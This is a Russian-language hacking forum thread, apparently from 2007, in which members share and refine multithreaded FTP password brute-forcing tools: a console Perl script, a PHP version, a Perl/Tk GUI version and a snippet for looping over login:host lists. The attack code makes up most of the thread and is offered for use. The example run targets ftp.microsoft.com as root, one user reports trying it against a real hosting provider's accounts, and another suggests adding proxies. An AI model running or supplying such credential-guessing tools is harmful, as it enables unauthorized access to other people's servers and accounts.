ФТП брутер

Discussion in 'PHP' started by Spyder, 12 Dec 2007.

  1. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    Кароче я знаю что в инете полно таких брутеров. Я писал для освоения Perl'a
    Брутер многопоточный
    Code:
    #!perl -w
    use strict;
    use Net::FTP; # if doesn't work use NET::FTP
    use threads;
    use threads::shared;
    my @pass : shared;
    my @trl;
    my $ip = "$ARGV[0]";
    my $login = "$ARGV[1]";
    my $thr = $ARGV[2];
    open (SRC, "$ARGV[3]") or die "Can't open:$!";
    Next:
    @pass = pass();
    for(0..$thr)
    {
    $trl[$_] = threads->create(\&Brut, $ok);
    }
    for(0..$thr)
    {
    $trl[$_]->join;
    }
    sub Brut
    {
    while (@pass)
    {
    my $pass = shift @pass;
    print "Checking password : \t$pass\n";
    my $ftp = Net::FTP->new($ip);
    $ok = $ftp->login($login,$pass);
    if ($ok) {
    print "Pass for $ip is $pass\n";
    exit;
    }
    }
    }
    goto Next;
    
    sub pass
    {
    my (@mas);
    while (<SRC>){
    push @mas, $_;
    last if (@mas > 300);
    }
    chomp @mas;
    my $n = @mas;
    if ($n == 0) {
    	print "Password not found\n";
    	exit;
    } else {
    return @mas;
    }
    }
    
    запускаем
    perl bruteng.pl <хост> <логин> <файл_с_паролями> <потоки>
    perl bruteng.pl ftp.microsoft.com root C:/xek.txt 100

    ЗЫ Вроде работает :D
     
    #1 Spyder, 12 Dec 2007
    Last edited: 8 Sep 2008
    15 people like this.
  2. scrat

    scrat кодер

    Joined:
    8 Apr 2007
    Messages:
    625
    Likes Received:
    541
    Reputations:
    3
    было бы интересно посмотреть на php
     
    3 people like this.
  3. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    многопоточности в пшп как таковой нету. Вернее есть, но через анал =\
     
  4. C!klodoL

    C!klodoL Elder - Старейшина

    Joined:
    5 Jun 2007
    Messages:
    302
    Likes Received:
    208
    Reputations:
    4
    $login = "$ARGV[1]";
    $ip = "$ARGV[0]";
    это лучше вынести в начало кода, а не каждый раз в потоке присваивать значение переменным
     
    3 people like this.
  5. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    помойму у меня какая то проблема вызникала с этим и я решил забить =)))
    Вобщем учту и доработаю. Написал версию с ГУИ но там какие то траблы небольшие были, мб позже выложу
     
  6. darky

    darky ♠ ♦ ♣ ♥

    Joined:
    18 May 2006
    Messages:
    1,773
    Likes Received:
    825
    Reputations:
    1,418
    молодца..
    кстати очень интересно посмотреть
    как ты реализовал threads + tk :))
     
    #6 darky, 12 Dec 2007
    Last edited: 12 Dec 2007
  7. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    вот с этим проблемка и возникла
    После того как брутер находит верный пасс записывает его в файл и выполняет die, после чего интепритатор перла выдаёт ошибку, типа невозможно создать новый поток ибо die()
    По идее он работает, просто несовем эстетично
    Кароче как разберусь, выложу
     
  8. n3m0

    n3m0 Elder - Старейшина

    Joined:
    11 May 2007
    Messages:
    133
    Likes Received:
    92
    Reputations:
    11
    Ну вот пример на PHP:

    PHP:
    <?php
    if ($argc ) {
    $ftp_server $argv[1];
    $ftp_user_name $argv[2];
    $conn_id ftp_connect($ftp_server);
    $f fopen($argv[3],"r");
    while(!
    feof($f))
    {
    $ftp_user_pass fgets($f,255);

    $login_result ftp_login($conn_id$ftp_user_name$ftp_user_pass); 

     if (
    $login_result)) { 
            echo 
    "password found! ftp://$ftp_user_name@$ftp_server where password : $ftp_user_pass";
        }

    }
    fclose($argv[3]);
    ftp_close($conn_id); 
    } else
    {
    echo 
    "Usage: ".$argv[0]." ftp.server usename password.txt";

    }
    ?>
    работоспособность не гарантирую, так как не проверял.

    ЗЫ осталось прокси добавить и можна юзать ))
     
    #8 n3m0, 12 Dec 2007
    Last edited: 13 Jun 2008
    2 people like this.
  9. Ni0x

    Ni0x Elder - Старейшина

    Joined:
    27 Aug 2006
    Messages:
    338
    Likes Received:
    157
    Reputations:
    37
    Строчка просто убила. Что за мания писать примитивный код и вставлять свои нелепые с0ded by ... version 0.0.0.1 pre alpha. На всякий случай, если будут баги, можно списать все на альфа-версию ;) .
     
    1 person likes this.
  10. n3m0

    n3m0 Elder - Старейшина

    Joined:
    11 May 2007
    Messages:
    133
    Likes Received:
    92
    Reputations:
    11
    та то по приколу написал))) Вообще топик не моему скрипту посвящен. Уделайте внимание ТСу
     
    2 people like this.
  11. genom--

    genom-- Elder - Старейшина

    Joined:
    9 Jul 2006
    Messages:
    668
    Likes Received:
    416
    Reputations:
    288
    насчет брутера - сделай чтобы не под 1 логин был
    насчет threads + tk =) - а почему бы и нет - хоть тк и является unthreadable - типо не потокиируемый(если не ошибась) все невозможное возможно -- предлагаю именно блеки взглянуть на наш со слайдером мыл киллер -- там все есть -- есдинственный лаг при работе с tk это то что он сбивает адреса потоков в памяти и их нельзя завершить и они остаются висеть так что надо создат потоки и вкидывать в них пассы не пересоздавая -- да и если 100 раз запустить на разные хостя то оператива засрется а так вполне работоспособно и мило

    в качестве альтернативы этому я думал делать(генерировать) отдельный многопоточный скрипт и вызывать его из основного с гуи и чтобы он через return или в файл возвращал результат работы а основной только анализировал его и выводил пользователю

    PS код можно оптимизировать в лудшую сторону -- за сторания ++ -- практика практика и еще раз практика и у тебя будет красивый код - я тоже помнится не оч над этим задумывался пока меня ксури и киба не тыкнули мордой в него и сказали че за херня =)
     
    #11 genom--, 13 Dec 2007
    Last edited: 13 Dec 2007
    1 person likes this.
  12. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    В скрипте были ошибки + несовсем корректно работал
    Всё исправил, пользуйтесь =)
    Геном, про несколько логинов я думал, возможно потом реализую
     
    5 people like this.
  13. pento

    pento Elder - Старейшина

    Joined:
    3 Jul 2006
    Messages:
    126
    Likes Received:
    24
    Reputations:
    -1
    Ужасное форматирование языка с ужасным синтаксисом.
     
  14. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    Multithread FTP Bruter Tk/GUI

    Вобщем вот кое что подправил. проблема была из-за прагмы strict, так как я не мог понять в чём же проблема, принял решение её убрать.
    По скрипту. В первое поле вставляем адрес, второе - логин, тректье путь к файлу для сохранения результата. Хочу заметить что его придётся укзаывать ручками, не стал использовать диалог бокс, имхо незачем. Следующее поле для выбора словаря с паролями, сдесь заюзал функцию getOpenFile(), так удобнее, ну и в последнее поле указываем потоки
    Скрипт начинает брутить фтп, при удачном нахождении результат заносится в файл который вы указали и прога закрывается. Вот сдесь мне нужна помощь перл гуру, как сделать что бы после нахождения пароля можно было задать новые переменны и начать новый брут?
    Если пароль не найден в файл пишется Password not found и прога тоже закрывается (то же самое, как?). В интерпритатор вываливается куча ошибок в любом случае, там и глобал дистракшн из-за exit и сообщения о невозможности создать новые потоки. вот тут тоже выслушаю ваши замечания
    Собственно сам код
    Code:
    #!/usr/bin/perl
    use Tk;
    use NET::FTP;
    use threads;
    use threads::shared;
    my @pass : shared;
    my($main,$addr,$dicfile,$fo,$thrd,$save,$login);
    
    $main=MainWindow->new(-title => 'FTP bruter by Spyder'); 
    $main->geometry ('320x220');
    $main->resizable (0,0);
    $main->Label(-text => 'Enter targer for brute (without ftp://)')->pack();
    $addr=$main->Entry(-width => 50)->pack;
    $main->Label(-text => 'Login')->pack;
    $login=$main->Entry(-width => 50)->pack;
    $main->Label(-text => "Enter path to save result")->pack;
    $save=$main->Entry(-width => 50)->pack;
    $main->Label(-text => 'Choose file with passwords')->pack;
    $dicfile=$main->Entry(-width => 50,
                          -textvariable => \$fo)->pack;
    $main->Button(-text => 'Start brute', 
                  -width=> '80',
                  -height=> '1',
                  -font => 'courier',
                  -command => \&Brute)->pack(-side => 'bottom');
    $main->Button(-text => 'Browse',
                  -command => \&fileopen)->pack(-side => 'left');
    $thrd=$main->Entry(-width => 5)->pack(-side => 'right'); 
    $main->Label(-text => 'Threads:')->pack(-side => 'right');
    sub fileopen
    {
    	$fo = $main->getOpenFile(); 
    }       
    MainLoop;
    sub Brute
    {
            $thr = int($thrd->get);
            $file = $dicfile->get;
            $fsave = $save->get;
            open (SRC, "<$file") or die "Can't open:$!";
            Next:
            @pass = pass();
            my @trl;
            for(0..$thr) 
            { 
    	        $trl[$_] = threads->create(\&Brut, $_); 
    	}
            for(0..$thr)
            {
    	        $trl[$_]->join
            }
                        
            sub Brut
            {
                    while (@pass) {
                            $pass = shift @pass;
                            $fsave = $save->get;
                            $ip = $addr->get;
                            $log_in = $login->get;
                            $ftp = Net::FTP->new($ip);           
                            $ok = $ftp->login($log_in,$pass) or exit "$!";
                            if ($ok) 
                            {
                            	open (SAVE, ">>$fsave") or exit "Can't save:$!";
                            	print SAVE "Password for $ip is $pass\n";
                            	close (SAVE);
                            	exit;
                            }
            }
    }
    goto Next;
    
    sub pass
    {
    my (@mas);
    while (<SRC>){
    push @mas, $_;
    last if (@mas > 300);
    }
    chomp @mas;
    $n = @mas;
    if ($n == 0) {
    	open (SAVE, ">>$fsave") or die "Can't save:$!";
    	print SAVE "Password not found\n";
    	close (SAVE);
    	exit;
    } else {
    return @mas;
    }
    }
    }
    
    Не знаю то ли это чего вы ждали, но оно всё же работает =))
     
    #14 Spyder, 13 Dec 2007
    Last edited: 13 Dec 2007
  15. KSURi

    KSURi tnega AOLPS

    Joined:
    6 Jun 2006
    Messages:
    458
    Likes Received:
    219
    Reputations:
    357
    Статус Тк не позволяет (при стандартной связке Tk+threads) внедрять многопоточность только по отношению к себе. Т.е. разработка "нормального" гуя, где элементы гуя контролируются одними потоками, а работа скрипта выполняется другими, в данном случае не возможна.

    Я хотел было заморочиться по этому поводу, в мыслях было написать многопоточную обертку для Tk, но мои телодвижения в данном направлении окончились после этих строк:
    Code:
    #!perl
    
    use strict;
    use warnings;
    
    use Tk;
    use threads;
    
    my($MW);
    
    threads -> create(\&StartGUI, 'Tk & threads', [640, 480], [0, 0]) -> detach;
    
    sub StartGUI
    {
        my($title, $geometry, $resizable) = @_;
        
        $MW = MainWindow -> new(-title => $title);
        $MW -> geometry($geometry -> [0] . 'x' . $geometry -> [1]);
        $MW -> resizable($resizable -> [0], $resizable -> [1]);
        
        MainLoop;
    }
    
    Без исправлений на уровне XS, мне кажется, тут ничего уже не попишешь.
     
  16. C!klodoL

    C!klodoL Elder - Старейшина

    Joined:
    5 Jun 2007
    Messages:
    302
    Likes Received:
    208
    Reputations:
    4
    как сделать что бы после нахождения пароля можно было задать новые переменны и начать новый брут?

    ну проще сделать брут по списку login:host из файла, только тебе нужно изменить код чтобы хосты и пассы сразу заносились в массивы (правда тут словарь метров эдак на 200 не заюзаешь, оперативки не хватит, но с другой стороны врядли кто будет таким словарем брутить)), вот примерно как это может выглядеть:

    Code:
    sub brut
    {
    	while (@ftps)
    	{
    		$ftp = shift @ftps;
    		($login, $host) = split (/:/, $ftp);
    			foreach (@passwords)
    			{
                                    $_ обходим все пассы в масиве
    			}
    	}
    }
     
    #16 C!klodoL, 13 Dec 2007
    Last edited: 13 Dec 2007
  17. vp$

    vp$ Elder - Старейшина

    Joined:
    22 Oct 2007
    Messages:
    65
    Likes Received:
    68
    Reputations:
    19
    проверял для хостинго jino.ru
    ftp:// -- login.jino.ru
    login -- login
    где логин это учетка на хостинге
    прога при запуске подумала немного и вырубилась
     
  18. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    проверял на нарроде + обычные фтп
    всё работает
    Ты какой скрипт проверял? С ГУИ? Если да то он тебе должен результат в файл занести или может ты чё то не так делаешь
    C!klodoL, ты меня наверное немного не понял. Вобщем Ксури подсказал идею с сабами, попробую сделать
     
    1 person likes this.
  19. satana8920

    satana8920 Палач Античата

    Joined:
    22 Sep 2006
    Messages:
    396
    Likes Received:
    138
    Reputations:
    6
    вот бы было бы не плохо еси мона было б подгружать список логинов
    я не большой ценитель гиу я маньяк ретро консоли
    по этому думаю что лучше бы старую версию доработать
     
    1 person likes this.